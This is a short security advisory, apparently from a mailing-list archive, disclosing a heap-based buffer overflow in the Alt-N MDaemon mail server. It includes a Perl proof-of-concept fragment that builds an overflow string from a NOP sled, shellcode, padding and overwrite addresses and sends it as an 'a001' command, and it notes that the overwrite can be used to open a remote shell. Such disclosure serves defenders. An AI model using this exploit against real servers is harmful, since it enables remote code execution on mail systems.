[NT] MDaemon Buffer Overflow

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MDaemon Buffer Overflow
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SUMMARY

" <http://www.altn.com/> Alt-N Technologies MDaemon provides a complete
suite of secure and standards-compliant messaging and collaborative
capabilities."

Improper handling of user input allows attackers to execute arbitrary code
or crash MDaemon.

DETAILS

An heap based buffer overflow was found in Mdaemon that can be triggered
by sending specially crafted input.

Proof of Concept:
$where = "\x4c\x14\xed\x77"; # UnhandledExceptionFilter 77ED144C
#$where = "\x20\xf0\xfd\x7f"; # PEB Lock Pointer 7FFDF000
$what = "\x3d\xb9\x82\x02"; # JMP EDX 03bfcb9A

$nops = "A" x 100;
$a = $nops . $shellcode . ("Z" x
(0x2006-length($shellcode)-length($nops))) . $what . $where . ("Z" x
(0x184AC - 0x200A - 12));
print $sock "a001 \"$a\r\n";
close($sock);

The trigger is made by sending the following attack string:
a001 "[X]\r\n

[X] consists of f.e. 99555 Z's to reach the 4 byte overwrite.
Attackers can use the 4 byte to overwrite the PEB pointer in order to open
a remote shell for example.


ADDITIONAL INFORMATION

The information has been provided by <mailto:kingcope@xxxxxxx> kcope .



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